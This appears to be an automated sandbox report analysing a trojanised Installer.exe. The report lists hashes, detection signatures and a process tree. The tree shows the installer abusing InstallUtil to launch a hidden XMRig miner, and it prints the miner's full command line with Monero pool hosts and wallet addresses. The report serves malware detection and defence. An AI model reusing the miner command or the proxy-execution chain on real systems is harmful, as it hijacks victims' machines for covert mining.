Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    23-12-2024 19:39

General

  • Target

    Installer.exe

  • Size

    4.6MB

  • MD5

    43dba66b8c79ae15207a60f4151934ca

  • SHA1

    20d2f0cb9a7df3808aff1fb65a1a039c32508584

  • SHA256

    03ebe6a1c6d8aca197174ddf127b9f4cdbfc9607eeba60920531d70170deb64f

  • SHA512

    6d4492e06a039959cccc67b073b4d12293cf32a46858a99f850a9301f242df896a488bb1caba6a673719259091adb34170606225f2987c93f3111c2390821474

  • SSDEEP

    49152:PrX04x/He4aIqYuUvsY5HXc8fqv6hugnMJ0dUBsAJjAwuoiap81gDy9zsESdFM:w4xfZ7T9fh/nMJ9fWq81oE

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 12 IoCs
  • System Binary Proxy Execution: InstallUtil 1 TTPs 2 IoCs

    Abuse InstallUtil to proxy execution of malicious code.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    1⤵
    • System Binary Proxy Execution: InstallUtil
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3012
    • C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
      "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2768
      • C:\Users\Admin\Documents\System\OmegaEngine.exe
        "C:\Users\Admin\Documents\System\OmegaEngine.exe" -B --donate-level 1 -o us-west.minexmr.com:4444 -u 42f6N5D66RXLeWEBnWGHxhS2iHhPf2YEfHUWX6Hj86TDG8XdqFPB5Jn61K2Go78LbYMvJTar6Dcafe6TQHFwfmad2FHjvuU -k --coin monero -o xmr-us-east1.nanopool.org:14444 -u 46s2W3v7uF2YciHLmfuvAf3o2tNFwEYN44MaTJcgumQVUtfBHfASdLodxna8kNsC7SMG2Q1pVK8hx7T4nANEYQMn5RsqzFZ -k --coin monero
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2516

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Local\Temp\InstallUtil.exe

    Filesize

    40KB

    MD5

    91c9ae9c9a17a9db5e08b120e668c74c

    SHA1

    50770954c1ceb0bb6f1d5d3f2de2a0a065773723

    SHA256

    e56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f

    SHA512

    ca504af192e3318359d4742a2ef26ae1b5d040a4f9942782e02549a310158d5d5dbf919b4c748c31ee609d2046bd23ee0c22712891c86ae4a1e3a58c6e67647e

  • \Users\Admin\Documents\System\OmegaEngine.exe

    Filesize

    6.8MB

    MD5

    2c5f8843f514824fc636f451fc6a18b4

    SHA1

    a1c5490efea431fa3f54562d0d19d4f6826c562a

    SHA256

    363841b14e9048fd50a012f2a3e04c3f86312fbcd3c1f4a837a102fe7e258ca7

    SHA512

    b51cf66c2604e4e9ed363933cfb2acad7e1591036b1f8339333aa6d74625b680a952078dcdbd231204e06572d9ca24855d19138dd77eaabc673ab148b89be717

  • memory/2516-49-0x0000000000400000-0x0000000000B63000-memory.dmp

    Filesize

    7.4MB

  • memory/2516-52-0x0000000000400000-0x0000000000B63000-memory.dmp

    Filesize

    7.4MB

  • memory/2516-51-0x0000000000400000-0x0000000000B63000-memory.dmp

    Filesize

    7.4MB

  • memory/2516-50-0x0000000000400000-0x0000000000B63000-memory.dmp

    Filesize

    7.4MB

  • memory/2516-53-0x0000000000400000-0x0000000000B63000-memory.dmp

    Filesize

    7.4MB

  • memory/2516-48-0x0000000000400000-0x0000000000B63000-memory.dmp

    Filesize

    7.4MB

  • memory/2516-47-0x0000000000400000-0x0000000000B63000-memory.dmp

    Filesize

    7.4MB

  • memory/2516-46-0x0000000000400000-0x0000000000B63000-memory.dmp

    Filesize

    7.4MB

  • memory/2516-45-0x0000000000400000-0x0000000000B63000-memory.dmp

    Filesize

    7.4MB

  • memory/2516-44-0x0000000000400000-0x0000000000B63000-memory.dmp

    Filesize

    7.4MB

  • memory/2516-54-0x0000000000400000-0x0000000000B63000-memory.dmp

    Filesize

    7.4MB

  • memory/2768-27-0x0000000000400000-0x0000000000AF6000-memory.dmp

    Filesize

    7.0MB

  • memory/2768-13-0x0000000000400000-0x0000000000AF6000-memory.dmp

    Filesize

    7.0MB

  • memory/2768-22-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/2768-18-0x0000000000400000-0x0000000000AF6000-memory.dmp

    Filesize

    7.0MB

  • memory/2768-31-0x0000000000400000-0x0000000000AF6000-memory.dmp

    Filesize

    7.0MB

  • memory/2768-16-0x0000000000400000-0x0000000000AF6000-memory.dmp

    Filesize

    7.0MB

  • memory/2768-35-0x0000000074120000-0x000000007480E000-memory.dmp

    Filesize

    6.9MB

  • memory/2768-24-0x0000000000400000-0x0000000000AF6000-memory.dmp

    Filesize

    7.0MB

  • memory/2768-20-0x0000000000400000-0x0000000000AF6000-memory.dmp

    Filesize

    7.0MB

  • memory/2768-43-0x0000000074120000-0x000000007480E000-memory.dmp

    Filesize

    6.9MB

  • memory/3012-36-0x0000000074120000-0x000000007480E000-memory.dmp

    Filesize

    6.9MB

  • memory/3012-0-0x000000007412E000-0x000000007412F000-memory.dmp

    Filesize

    4KB

  • memory/3012-15-0x0000000074120000-0x000000007480E000-memory.dmp

    Filesize

    6.9MB

  • memory/3012-9-0x00000000008A0000-0x00000000008A6000-memory.dmp

    Filesize

    24KB

  • memory/3012-8-0x0000000000860000-0x000000000087A000-memory.dmp

    Filesize

    104KB

  • memory/3012-7-0x0000000074120000-0x000000007480E000-memory.dmp

    Filesize

    6.9MB

  • memory/3012-6-0x000000007412E000-0x000000007412F000-memory.dmp

    Filesize

    4KB

  • memory/3012-4-0x00000000008D0000-0x00000000008E6000-memory.dmp

    Filesize

    88KB

  • memory/3012-3-0x0000000000340000-0x0000000000372000-memory.dmp

    Filesize

    200KB

  • memory/3012-2-0x0000000074120000-0x000000007480E000-memory.dmp

    Filesize

    6.9MB

  • memory/3012-1-0x0000000000390000-0x0000000000826000-memory.dmp

    Filesize

    4.6MB